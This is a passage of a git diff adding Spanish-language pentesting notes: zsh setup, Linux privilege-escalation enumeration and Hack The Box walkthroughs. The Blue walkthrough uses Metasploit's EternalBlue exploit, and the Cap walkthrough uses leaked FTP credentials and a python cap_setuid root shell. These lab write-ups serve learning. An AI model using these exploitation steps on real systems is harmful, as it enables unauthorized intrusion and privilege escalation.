--color=always {} || + highlight -O ansi -l {} || + coderay {} || + rougify {} || + cat {}) 2> /dev/null | head -500' + fi +} + +function rmk(){ + scrub -p dod $1 + shred -zun 10 -v $1 +} + +# Función Settarget: + +function settarget(){ + ip_address=$1 + machine_name=$2 + echo "$ip_address $machine_name" > /home/firox/.config/bin/target +} + +# Finalize Powerlevel10k instant prompt. Should stay at the bottom of ~/.zshrc. +(( ! ${+functions[p10k-instant-prompt-finalize]} )) || p10k-instant-prompt-finalize diff --git a/Web/Linux/ZSH/Settarget.md b/Web/Linux/ZSH/Settarget.md new file mode 100644 index 00000000000..bcd6f39b608 --- /dev/null +++ b/Web/Linux/ZSH/Settarget.md @@ -0,0 +1,81 @@ +# SetTarget + +![Captura de pantalla -2022-05-10 14-01-28](https://user-images.githubusercontent.com/103068924/167631023-2bf197b3-153d-460a-b149-15af88aabb85.png) + + +Mediante la siguiente función podremos colocar el nombre y la Ip de las máquinas que estamos realizando en la polybar. + + function settarget(){ + ip_address=$1 + machine_name=$2 + echo "$ip_address $machine_name" > /home/tuUsuario/.config/bin/target + } + + +Para poder tener esta funcion activa simpmente tendremos que pegar la funcion en el archivo `.bashrc` o `.zshrc` dependiendo de si estamos utilizando +una shell Bash o Zsh. En mi caso utilizo Zsh, asi que nos dirigimos al archivo `.zshrc`. + +![Captura de pantalla -2022-05-10 14-44-40](https://user-images.githubusercontent.com/103068924/167631309-be10052c-e0a7-4e4e-8e0f-914022cd9e80.png) + +Copiamos la función. Nos dirigimos hasta nuestro directorio de usuario `/home/Usuario` (Usuario es el vuestro) y mediante el comando `nano` abrimos el archivo y lo pegamos. + + nano .zshrc + +Una vez pegado, guardamos con `Cntrl + o` y salimos `Cntrl + x`. + +Para poder mostrar la función en la Polybar, agregaremos el siguiente script `target_to_hack` al direcorio `~/.config/bin/`: + +``` + +#!/bin/zsh + +ip_address=$(cat ~/.config/bin/target | awk '{print $1}') +machine_name=$(cat ~/.config/bin/target | awk '{print $2}') + +if [ $ip_address ] && [ $machine_name ]; then + echo "%{F#000000} ${F#ffffff}$ip_address%{u-}  $machine_name" +else + echo "${F#000000} %{u-}%{F#000000} No target" +fi + +``` + + + +Para ejecutar la función simplemente le especificamos la Ip y el nombre de la máquina de Hack the Box: + + settarget [Ip Máquina] [Nombre de la Máquina] + +![Captura de pantalla -2022-05-10 14-46-25](https://user-images.githubusercontent.com/103068924/167631648-0bcd0756-f7a4-4ad0-a10b-06bf53e9d882.png) + +En caso de no ejecutarse mediante `root`. Nos registramos como `root` y repetimos la misma operación. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + diff --git a/Web/Linux/ZSH/ZSH.md b/Web/Linux/ZSH/ZSH.md new file mode 100644 index 00000000000..0681a6ee921 --- /dev/null +++ b/Web/Linux/ZSH/ZSH.md @@ -0,0 +1,93 @@ +![zsh](https://user-images.githubusercontent.com/103068924/166144730-96ded5b4-0042-4452-a281-d93b804ec151.png) + +# ¿Qué es ZSH? + +ZSH es un poderoso interprete de comandos para sistemas Unix. Construido sobre el popular shell bash. Es, gratuito, de código abierto y se +actualiza periodicamente. + +Ventas: + +1. Altamente personalizable. +2. Proporciona herramientas interactivas. +3. Utiliza el lenguaje de comandos bash. +4. Admite marcos adicionales como oh-my-zsh. +5. Más fácil y con gran comunidad. + +## Instalación: +Para poder instalarlo en una distribución Debian (ParrotOS o Kali) primero actualizamos el sistema: + + sudo apt-get update + +Luego iniciamos la instalación: + + sudo apt-get install zsh -y + +## Ejecutar ZSH como shell predeterminada: +Para ejecutar ZSH de forma automatica cada vez que iniciemos sesión y establecerla podemos hacerlo de dos maneras. +La primera es ejecutando el siguiente comando: + + sudo chsh -s $(wich zsh) + +Una vez hecho esto, reiniciamos el sistema y comprobamos que funcione. En caso de no funcionar, tendremos que hacerlo de forma manual. +Para ello abrimos el archivo `.bashrc` con el siguiente comando: + + sudo nano ~/.bashrc + +Una vez abierto el arhcivo `.bashrc` escribiremos `exec zsh` en la parte superior del archivo. De esta manera se ejecutará el comando `zsh` +cada vez que se cargue la terminal. + +**Nota**: Se debe de terner mucho cuidado al realizar esta instalación y no realizarlo durante otros procesos ya que al realizar estos cambios +puede que se interrumpan todos los trabajos interactivos. + +## Versión: +Para asegurarnos que tenemos la ZSH instalada podemos comprobarlo y ver la versión exacta mediante el comando: + + zsh --version + +## Configuración de la ZSH: + +ZSH tiene cinco archivos de configuración principales. Esos archivos son: `.zshenv`, `.zprofile`, `.zshrc`, `.zlogin` y `.zlogout`. + +La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argumento `-f` al iniciar la sesión del shell. + +`.zshenv` : Solo debe contener las variables de entorno del usuario. No debe contener comandos que adjunten sescuencias de entrada/salida estandar (TTY). + +`.zprofile` : Contiene comando ejecutados en el inicio de sesión del shell. Solo debe usarse para ejecutar comandos externos. + +`.zshrc` : Contiene las configuraciones y los comandos del shell. Se obtiene en shells interactivos y contien alias, enlaces de taclas, variables y funciones. + +`.zlogin` : Este archivo es similar a .zprofile. No debe contener ningún comando que altere el entorno. + +`.zlogout` : Se lee cuando se cierra la sesión de la shell. Puede usarse para configurar los comandos que se ejecutan cuando se cierra el shell. + +# Funciones: + +### [Función SetTarget](f1r0x.github.io/Web/Linux/ZSH/Settarget.html) + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Web/Linux/escaladaPrivilegiosLinux.md b/Web/Linux/escaladaPrivilegiosLinux.md new file mode 100644 index 00000000000..5bb0027bf06 --- /dev/null +++ b/Web/Linux/escaladaPrivilegiosLinux.md @@ -0,0 +1,25 @@ +# Fase de escalada de Privilegios en Linux + +## Como listar Usuarios en Linux: + +Una de las formas de ver los usuarios registrados en el sistema es leyendo el arcivo `/etc/passwd` a traves del comando `cat` por ejemplo. A traves de estos +datos podemos obtener información de los usuarios: + + cat /etc/passwd + + + ![Captura de pantalla 2022-08-01 103807](https://user-images.githubusercontent.com/103068924/182108836-2a50e47b-073d-48c9-985f-07809d27a2b1.png) + + +# Númera los comandos disponibles como SUDO de un Usuario: + +Para poder ver que comandos puede ejecutar un usurio como super usuario `root` podemos utilizar el comando `sudo -l`: + + sudo -l + +Esto es muy importante en la fase de escalada de privilegios ya que en caso de tener privilegios como root de algun comando o herramienta podríamos +utilizarlo para ganar acceso total a través de él. + +![Captura de pantalla 2022-08-01 105300](https://user-images.githubusercontent.com/103068924/182111489-419c0c1b-66fe-4f39-9807-a8b437562cb1.png) + +En está imagen por ejemplo, podemos ver como tenemos privilegios de root sobre el archivo `/usr/bin/snap`. diff --git a/Web/Linux/listarPrivilegiosLinux.md b/Web/Linux/listarPrivilegiosLinux.md new file mode 100644 index 00000000000..7f50b298646 --- /dev/null +++ b/Web/Linux/listarPrivilegiosLinux.md @@ -0,0 +1,35 @@ +# Cómo listar Privilegios en Linux. + +## Listar Privilegios SUID: + +Para listar los privilegios `SUID` debemos ejecutar el fomando `find` seguido de las siguientes opciones: + + find \-perm -4000 2>/dev/null + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Linux/listarYborrarProcesosLinux.md b/Web/Linux/listarYborrarProcesosLinux.md new file mode 100644 index 00000000000..ef90e40505d --- /dev/null +++ b/Web/Linux/listarYborrarProcesosLinux.md @@ -0,0 +1,105 @@ +# Cómo Listar y Borrar procesos en Linux. + +* 1.1 Listar Procesos con ps. +* 1.2 Mostrar el uso actual de la CPU y la RAM de cada proceso. +* 1.3 Encontrar un proceso con pgrep. +* 1.4 Matar o Borrar un Proceso en Linux. + + +# Listar Procesos con ps: + +En Linux, una instancia en ejecución de un programa se llama proceso. Ocasionalmente, cuando trabaje en una máquina Linux, +es posible que necesite averiguar qué procesos se están ejecutando actualmente. + +El comando `ps` puede listar todos los procesos que se están ejecutando en un sistema Linux con la opción `-e`: + + ps -e + + ![Captura de pantalla 2022-08-24 213151](https://user-images.githubusercontent.com/103068924/186507499-d61e39db-d678-4862-8685-eda22481df0a.png) + + +Podemos conocer más detalles del comando `ps` accediendo a su manual: + + man ps + + +## Mostrar el uso actual de la CPU y la RAM de cada proceso: + +Al igual que la opción anterior, esta opción listará todos los procesos que se estén ejecutando en tu sistema. Pero también +muestra el uso actual de la CPU y la RAM de cada proceso, así como el comando que lo ha generado. + + ps -aux + +![Captura de pantalla 2022-08-24 213641](https://user-images.githubusercontent.com/103068924/186507728-0368cf5f-af7f-47fe-af4c-7147ab1b9521.png) + + +## Encontrar un proceso con pgrep: + +El comando `pgrep` es una especie de combinación de `ps` y `grep`. Podemos especificar el nombre (o parte del nombre) de un proceso que estemos +buscando, y pgrep nos devolverá los respectivos ID de los procesos. + +Por ejemplo, para buscar cualquier proceso relacionado con `openvpn` en tu sistema, escribirías: + + pgrep openvpn + +![Captura de pantalla 2022-08-24 213406](https://user-images.githubusercontent.com/103068924/186507552-0004b479-4f5f-457b-8db2-4467b6944100.png) + +![Captura de pantalla 2022-08-24 213343](https://user-images.githubusercontent.com/103068924/186507581-d3904fa9-0309-435d-b7fb-a1c4dd3f4ec4.png) + + +# Matar o Borrar un Proceso en Linux: + +Si el comando/proceso se está ejecutando en primer plano, puedes utilizar el atajo de terminal `Ctrl+C`. Sin embargo, si el proceso no es visible (lo que +significa que se ejecuta en segundo plano), puedes emplear comandos dedicados para `matarlo`. + +El término `matar un proceso` se refiere a detener un proceso a mitad de su ejecución. Si conoce el ID del proceso (PID), puedes utilizar el comando `kill` +de la siguiente manera: + + kill [Opción] [PID] + +En la sintaxis anterior, en primer lugar, marcamos la opción que deseamos ejecutar del comando kill y PID se refiere al ID del proceso. +Las opciones del comando kill son las siguientes: + +![Captura de pantalla 2022-08-24 214450](https://user-images.githubusercontent.com/103068924/186509188-4eca2092-40d8-4f17-bee3-e0fe6d61aab2.png) + +En caso de querer eliminar el proceso anterior `openvpn` utilizaremos la opción `9` para cerrar el proceso inmediatamente. + + kill -9 [PID] + +![Captura de pantalla 2022-08-24 214756](https://user-images.githubusercontent.com/103068924/186509952-9fd03bd9-8d40-4133-894b-9513fd90353c.png) + +En este caso, el PID del proceso `openvpn` es el 151202 y tras ejecutar el comando `kill` vemos como al tratar de volver a listarlo con `pgrep` +ya no lo reporta. + +![Captura de pantalla 2022-08-24 214828](https://user-images.githubusercontent.com/103068924/186509968-ba08a751-7d5a-4426-ad7b-57dc88a5e4cc.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + diff --git a/Web/Linux/verArchivosAlojadosEnLaWeb.md b/Web/Linux/verArchivosAlojadosEnLaWeb.md new file mode 100644 index 00000000000..e6f290f0555 --- /dev/null +++ b/Web/Linux/verArchivosAlojadosEnLaWeb.md @@ -0,0 +1,33 @@ +# Cómo ver los archivos alojados en una Web desde Linux. + +### /var/www + +Una vez hemos accedido al sistema, los servicios y archivos que se ejecutan en una web HTTP se suelen alojar en el directorio `/var/www`. +Dentro de este directorio encontraremos los archivos que componen el servicio web HTTP y, por tanto, es interesante revisarlos en busca +de información que nos pueda ser útil en un futuro. + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Maquinas-HTB/HTB-Blue.md b/Web/Maquinas-HTB/HTB-Blue.md new file mode 100644 index 00000000000..60f64e1a2f3 --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Blue.md @@ -0,0 +1,207 @@ +
+ +# Hack The Box-Blue + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Blue + +Ahora, mediante la función `mkt` que tengo previamente definida en la `.zshrc` crearemos nuestros directorios +de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +## PING + +Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. + + ping -c 1 10.10.10.40 + +![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) + +## NMAP --> Link + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.40 -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo. + +`-n` : Anula la resolución DNS. + +![Captura de pantalla -2022-05-13 12-02-21](https://user-images.githubusercontent.com/103068924/168261222-f452e600-c30b-4d2b-b771-8fb42b8227b2.png) + +![Captura de pantalla -2022-05-13 12-02-42](https://user-images.githubusercontent.com/103068924/168261243-724fd7e1-4fc9-44ea-8ccc-4ad16c25fa43.png) + +Vemos como nos reporta los puertos 135,139,445 y 49157. Lo que de momento más me llama la atención es que por el puerto 445 corre un servicio +`microsoft-ds`. Vamos a realizr un segundo escaneo mediante `nmap` lanzado una serie de scripts de reconocimiento para ver si nos reporta algo más +de información de estos puertos en concreto. + + nmap -sC -sV -v -n -p135,139,445,49157 10.10.10.40 -oG target + +![Captura de pantalla -2022-05-13 12-13-24](https://user-images.githubusercontent.com/103068924/168263122-4832c99c-8c10-447b-ae68-994e27bd978c.png) + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. + +`-oN` : Reporta los resultados en formato nmap al archivo `target`. + +![Captura de pantalla -2022-05-13 12-14-09](https://user-images.githubusercontent.com/103068924/168263141-ceb0d066-7c9b-4651-930e-08c0d33c0b85.png) + +Vemos como nos da un poco más de información, pero lo más interesante es que nos reporta la versión exacta del sistema Windows, que este caso nos +reporta un `Windows 7 Professional 6.1`. + +![Captura de pantalla -2022-05-13 12-23-13](https://user-images.githubusercontent.com/103068924/168264574-29ff87fd-bd2c-415a-83be-4726dd0798eb.png) + +Ahora vamos utilizar `nmap` para lanzar un script más especifico y tratar de reportar alguna vunerabilidad para está version de Windows 7. Pero primero +vamos a comprobar que disponemos del script. Para poder ver todo los scripts de `nmap`, podemos utilizar el comando `locate .nse`, donde se nos desplegará +una lista de todos los disponibles. + + locate .nse + +Ahora para poder filtrar un poco los resultados, de forma paralela concatenamos un `xargs grep "categories"` y de está forma filtraremos por todos +los resultados que incluyen la palabra `categories`. + + locate .nse | xargs grep "categories" + +Y ahora para terminar de filtrar los resultados dentro de categories, vamos a quedarnos solo con los resultados que nos especifican los scripts entre +comillas, lo cual se conoce como `DATA`. Para poder filtrar pro data utilizaremos la expresión regular `'".*?"'` de la siguiente manera: + + locate .nse | xargs grep "categories" | grep -oP '".*?"' + +Finalmente vamos a quitar las categorias que se repitan mediante `sort -u`: + + locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u + +Bien, ahora para lanzar los scripts que deseamos que son `vuln` y `safe`, básicamente estos scripts lanzan un chequeo para tratar de reportar las vulnerabilidades +conocidas del sistema y `safe` lo utilizamos para no causar ningún tipo de denegación de servicio en el sistema que vamos a escanear. + + nmap --script "vuln and safe" -p445 10.10.10.40 -oN smbScan + + `--script "vuln and safe"` : Especifica los scripts que vamos a utilizar. + + `-p445` : Especifica el puerto que vamos a chequear. + + `-oN smbScan` : Exporta los resultados en formato nmap al archivo smbScan. + + Vemos como nos reporta que este sistema es vulnerable al `ms17-010` más conocido como EthernalBlue. Ahora que ya conocemos una vulnerabilidad + vamos a tratar de buscar un exploit funcional. + + searchsploit ms17-010 + +![Captura de pantalla -2022-05-13 02-38-33](https://user-images.githubusercontent.com/103068924/168269407-839dd7e4-9274-4903-af8b-a65e20e8cb8a.png) + + Vemos que `Metasploit` nos reporta el exploit `SMB Remote Code Execution Scanner (MS17-010) (Metasploit)`. Vamos abrir Metasploit y a buscar si + disponemos del exploit. + +## Metasploit --> Link + + Abrimos Metasploit: + + msfconsole + + ![Captura de pantalla -2022-05-13 02-39-06](https://user-images.githubusercontent.com/103068924/168270105-48d203d3-c899-4769-87ff-2700713fa253.png) + + Ahora buscamos filtrando por la vulnerabilidad `ms17-010`: + + search ms17-010 + +![Captura de pantalla -2022-05-13 13-05-57](https://user-images.githubusercontent.com/103068924/168271708-92c389f8-74c0-4f21-8970-d877a1b5b355.png) + +Vemos como la vulnerabilidad EthernarBlue aparece la primera, para seleccionarla utilizamos el comando `use` y especificamos el número del `exploit` en +la lista, en este caso el `0`: + + use 0 + +![Captura de pantalla -2022-05-13 13-06-25](https://user-images.githubusercontent.com/103068924/168272058-197fb5f0-ff1e-4d58-b42f-3eefb77a5105.png) + +Ahora que ya tenemos el exploit seleccionado, tenemos que configurarlo y preparado para el ataque. Para ver las opciones del exploit utilizamos el +comando `options`: + +![Captura de pantalla -2022-05-13 13-06-45](https://user-images.githubusercontent.com/103068924/168272431-3800b374-8f02-418f-9d8b-9e4a66dc7227.png) + +Para configurar el exploit debemos modificar el `RHOSTS` que es la Ip de la víctima, el `LHOST` que será nuestra Ip pública, en este caso la VPN de +hack the box y finalmente, especificamos el puerto de escucha `LPORT`. + +![Captura de pantalla -2022-05-13 13-25-31](https://user-images.githubusercontent.com/103068924/168273836-ea8929fd-7167-4988-ab1f-3b2378dce33d.png) + +![Captura de pantalla -2022-05-13 13-26-24](https://user-images.githubusercontent.com/103068924/168273919-0f1bd7da-2bfb-406e-8fa1-069e84a26753.png) + +Finalmete ejecutamos el exploit: + + exploit + +![Captura de pantalla -2022-05-13 13-09-48](https://user-images.githubusercontent.com/103068924/168273321-abd7ac24-82f9-4e54-b183-6f2f70132efb.png) + +Si todo funciona correctamente se nos tendría que abrir una shell. En caso de daros algún error, es posible que tengáis que reiniciar la máquina y +el Metasploit y volver a intentar el ataque. + + +![Captura de pantalla -2022-05-13 17-48-20](https://user-images.githubusercontent.com/103068924/168326527-fa31beac-78dc-4236-b075-22186c53a8b4.png) + + +Esta vulnerabilidad es muy grave, ya que mediante este exploit pasamos a tenerlos máximos privilegios, por tanto, podemos ver todos los archivos, +incluida la flaf de `root`. + +Para encontrar la primera flag simplemente nos dirigimos al directorio `C:\Users\haris\Desktop`: + + cd /Users/haris/Desktop + +Podemos listar los archivos del directorio mediante `ls` y mediante `cat` nos reportará por consola el contenido. + +![Captura de pantalla -2022-05-13 17-50-12](https://user-images.githubusercontent.com/103068924/168327189-8d5ecd5b-e4f5-47fb-815d-3d6ecae6851a.png) + +Finalmente, la flag del usuario `root` la podemos encontrar en el directorio `C:\Users\Administrator\Desktop\`. + +![Captura de pantalla -2022-05-13 17-50-59](https://user-images.githubusercontent.com/103068924/168327406-bb7a2c94-5b04-4219-ac01-ec0a2b6219ec.png) + +![Captura de pantalla -2022-05-13 17-51-26](https://user-images.githubusercontent.com/103068924/168327424-9413230b-de79-4710-9efc-140e15dad727.png) + +
+ +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + + diff --git a/Web/Maquinas-HTB/HTB-Cap.md b/Web/Maquinas-HTB/HTB-Cap.md new file mode 100644 index 00000000000..5ad6d2b35aa --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Cap.md @@ -0,0 +1,248 @@ +![Captura de pantalla -2022-05-09 22-42-07](https://user-images.githubusercontent.com/103068924/167496487-a71ffc73-b5a5-40d0-af8d-09985c1c4af1.png) + +# Hack The Box-Cap + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Cap + +Ahora, mediante la función `mkt` que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +## PING + +Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. + + ping -c 1 10.10.10.245 + +![Captura de pantalla -2022-05-09 22-50-48](https://user-images.githubusercontent.com/103068924/167497195-d69bd6ca-65fc-4ad6-97e9-7ba11627fdad.png) + +Verificamos mediante la herramienta WishSystem que nos encontramos frente +a un sistema Linux. + +## WhatWeb + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.245 + +![Captura de pantalla -2022-05-09 23-01-58](https://user-images.githubusercontent.com/103068924/167497948-0a37ea37-6d93-4b33-9ca9-c55c76d70e0a.png) + +Vemos que no nos reporta nada interesante, así que vamos a proceder mediante `Nmap` a tratar de reportar todos +los puertos abiertos. + +## NMAP -->Link + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.245 -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-sS` : El escaneo SYN actuar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se ejecuta el escaneo. + +`-n` : Anula la resolución DNS. + +![Captura de pantalla -2022-05-07 13-52-00](https://user-images.githubusercontent.com/103068924/167500289-9afcfe91-4323-44cd-a5ad-8ca0edc08fca.png) + +Vemos como los puertos 21,22 y 80 están abiertos y que en los tres corren servicios interesantes vamos a tratar de realizar mediante una serie de +scripts básicos de reconocimiento un segundo escaneo enfocándonos en los puertos que hemos encontrado abiertos: + + nmap -sC -sV -p21,22,80 -oN targed + +`-sC` : Lanza scripts básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. + +`-oN` : Reporta los resultados en formato nmap al archivo `target`. + + +![Captura de pantalla -2022-05-07 13-54-13](https://user-images.githubusercontent.com/103068924/167502535-93afc986-095d-4786-8a59-728035938efc.png) + +![Captura de pantalla -2022-05-07 13-55-15](https://user-images.githubusercontent.com/103068924/167502581-3cad0416-bc03-45f6-85ba-832dee935bb6.png) + +![Captura de pantalla -2022-05-07 13-55-36](https://user-images.githubusercontent.com/103068924/167502619-5dd465e6-f94e-46d2-8869-c75cd24e9206.png) + +Vemos que por el puerto 80 corre un servicio `http` con la versión `gunicorn`. Vamos a tratar de acceder al +dominio `http://10.10.10.245` utilizando el navegador, en mi caso Firefox. + +![Captura de pantalla -2022-05-07 14-02-57](https://user-images.githubusercontent.com/103068924/167509698-bcb004cf-b653-4e2e-adc5-277990de1fe2.png) + +![Captura de pantalla -2022-05-07 14-03-07](https://user-images.githubusercontent.com/103068924/167509714-b3cca34c-4442-4cf2-8718-0a61317323b0.png) + +Vemos como el dominio nos lleva hasta un panel de gráficos de un usuario llamado `Nathan`. Tras investigar la página, vemos como arriba a la izquierda +tenemos un menú desplegable y me llama especialmente la atención el apartado `Security Snapshot (5 Second PCAP + Analysis)`. + +![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167510011-d6d88eeb-de95-47f3-908a-22139d617c63.png) + +Vemos como nos muestra una página que parece contener archivos guardados y donde también tenemos un botón de `Download`. Algo que es interesante es ver como nos +indica el directorio actual mediante el número `3`. + +![Captura de pantalla -2022-05-10 00-46-06](https://user-images.githubusercontent.com/103068924/167511204-af909e73-082c-4807-ab48-82dcf377c0a2.png) + +Tras probar otros números, veo que existen varias páginas de ficheros empezando desde el `0` que parece ser la página que más archivos tiene guardados. +Vamos a pulsar `Donwload` y descargarnos el archivo para ver que se trata. + +![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167511798-87eca5db-67a7-4b8d-9ae2-566f7c8e1c29.png) + +![Captura de pantalla -2022-05-10 00-47-49](https://user-images.githubusercontent.com/103068924/167511794-b5f0fc92-be67-44bd-b416-f25a6fec4e59.png) + +Vamos a llevar el archivo al directorio `content` donde vamos a realizar primeramente un `cat` para ver que se trata y vemos que el archivo contiene un binario. + +![Captura de pantalla -2022-05-10 01-02-17](https://user-images.githubusercontent.com/103068924/167512847-8dd4d2cc-9080-4e24-b393-b93972a6b6bf.png) + +## TShark + +Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podéis descargarla utilizando el siguiente comando: + + sudo apt install tshark + +Una vez instalado vamos a tratar de leer el archivo: + + tshark -r 0.pcap 2>/dev/null + +![Captura de pantalla -2022-05-07 14-18-25](https://user-images.githubusercontent.com/103068924/167512794-c12ea3d8-7203-41be-8358-a7cd9ab0c864.png) + +![Captura de pantalla -2022-05-07 14-18-38](https://user-images.githubusercontent.com/103068924/167512817-3c665977-b629-42e0-a2d5-c62c2ef9f88d.png) + +Tras revisar el contenido vemos que por el centro del archivo se encuentran las credenciales de un usuario. Nos muestra un user `nathan` y una PASS `Buck3tH4TF0RM3!`. + +![Captura de pantalla -2022-05-07 14-19-36](https://user-images.githubusercontent.com/103068924/167513339-64286ff5-a981-419b-94cc-6ff2effed285.png) + +![Captura de pantalla -2022-05-07 14-21-26](https://user-images.githubusercontent.com/103068924/167513346-05d65360-adc1-4121-bc7a-84e8ff8e57cf.png) + +![Captura de pantalla -2022-05-07 14-21-38](https://user-images.githubusercontent.com/103068924/167513350-3c956c7d-6230-40ad-bab6-4883e1b13c2c.png) + +Mediante los siguientes parámetros podríamos filtrar el archivo para solo reportar la información interesante. + + tshark -r 0.pcap -Y "ftp" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r + +![Captura de pantalla -2022-05-07 14-27-41](https://user-images.githubusercontent.com/103068924/167513759-253ccb44-6e98-4e92-b848-793aaab8db70.png) + +## FTP Shell: + +Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos encontrado. + + ftp 10.10.10.245 + +![Captura de pantalla -2022-05-07 14-29-55](https://user-images.githubusercontent.com/103068924/167513995-41825a15-bc30-4952-977a-7eba85e0b2bd.png) + +Perfecto vemos como nos permite conectarnos como el usuario `nathan`. Lo primero que debemos hacer es activar el modo pasivo para no tener problemas con los comandos. + + passive + +Ahora ejecutando un `ls` vemos como ahí se encuentra el archivo `user.txt` con la primera flag. + +![Captura de pantalla -2022-05-07 14-32-01](https://user-images.githubusercontent.com/103068924/167514474-3015b4d9-f036-4091-804f-fe88709a3a20.png) + +Al tratar de visualizar el archivo con `cat` vemos como no nos lo permite. + +![Captura de pantalla -2022-05-07 14-33-10](https://user-images.githubusercontent.com/103068924/167514547-ec8af6cd-6570-4c17-8665-ad843774bf9f.png) + +Al revisar mediante la variable `help` las opciones que podemos utilizar: + +![Captura de pantalla -2022-05-07 14-33-24](https://user-images.githubusercontent.com/103068924/167514823-45792852-cd79-4a11-8874-52712fdf2523.png) + +Vemos que está disponible el comando `get`, así que vamos a tratar de descargarnos el archivo +hasta nuestro repositorio. + +![Captura de pantalla -2022-05-07 14-33-52](https://user-images.githubusercontent.com/103068924/167514855-3749a186-347f-4a9e-9682-3e08ef3997a7.png) + +Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si hemos ejecutado anteriormente la shell ftp desde aquí, vemos como se nos abra descargado en este directorio el archivo `user.txt`. + +![Captura de pantalla -2022-05-07 14-34-30](https://user-images.githubusercontent.com/103068924/167515085-9308eeb3-3c49-470c-beab-bc7ccffd6da5.png) + +![Captura de pantalla -2022-05-07 14-34-43](https://user-images.githubusercontent.com/103068924/167515100-2f0efbfd-5f1f-4761-9bcd-efc9c249af64.png) + +## Shell SSH + +Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexión mediante el servicio `ssh` y utilizando las mismas credenciales: + + ssh nathan@10.10.10.245 + +![Captura de pantalla -2022-05-07 14-41-53](https://user-images.githubusercontent.com/103068924/167515375-f18a3637-d680-4f3a-95a7-e39fec5cb6b8.png) + +![Captura de pantalla -2022-05-07 14-43-29](https://user-images.githubusercontent.com/103068924/167515428-dbc65421-8d8a-42c0-b7ca-d0eb4393c7b0.png) + +Primero vamos a tratar de ver si tenemos algún tipo de privilegios: + +![Captura de pantalla -2022-05-07 14-44-17](https://user-images.githubusercontent.com/103068924/167515911-dbd2791b-dfb6-44f4-835a-a28aaae4b1fd.png) + +Vemos que nos pide un password y por desgracia no nos sirve la misma que hemos utilizado anteriormente. + +### GetCap + +Ahora, para tratar de enumerar archivos de interés usaremos `getcap` muestra el nombre y las capacidades de cada archivo especificado. +En el caso de no disponer de `getcap` podemos descargarlo de la siguiente manera: + + getcap -r / 2>/dev/null + +![Captura de pantalla -2022-05-07 14-52-31](https://user-images.githubusercontent.com/103068924/167515850-8374e20f-b072-4f01-8b53-e0bf3beb8e85.png) + + Vemos como se nos reporta un archivo llamado `cap_setuid` y que está siendo ejecutado en `Python3.8`. + + ![Captura de pantalla -2022-05-07 14-53-07](https://user-images.githubusercontent.com/103068924/167516218-a13658d9-7756-425f-9ad9-3f0003d7e9d6.png) + +Tras buscar información sobre vulnerabilidades bandas en Python3.8 y he encontrado los siguientes comandos que nos permite crear una shell en bash registrándonos automáticamente como `root`. +Para ello vamos a introducir los siguientes comandos: + + import os + +![Captura de pantalla -2022-05-07 14-53-41](https://user-images.githubusercontent.com/103068924/167516619-1c9c3ac6-3d46-4cf4-81ec-0073e5e1a41b.png) + + os.setuid(0) + +![Captura de pantalla -2022-05-07 14-54-29](https://user-images.githubusercontent.com/103068924/167516639-024bf781-d32c-4086-ae02-62cf686662ef.png) + + os.system("bash") + +![Captura de pantalla -2022-05-07 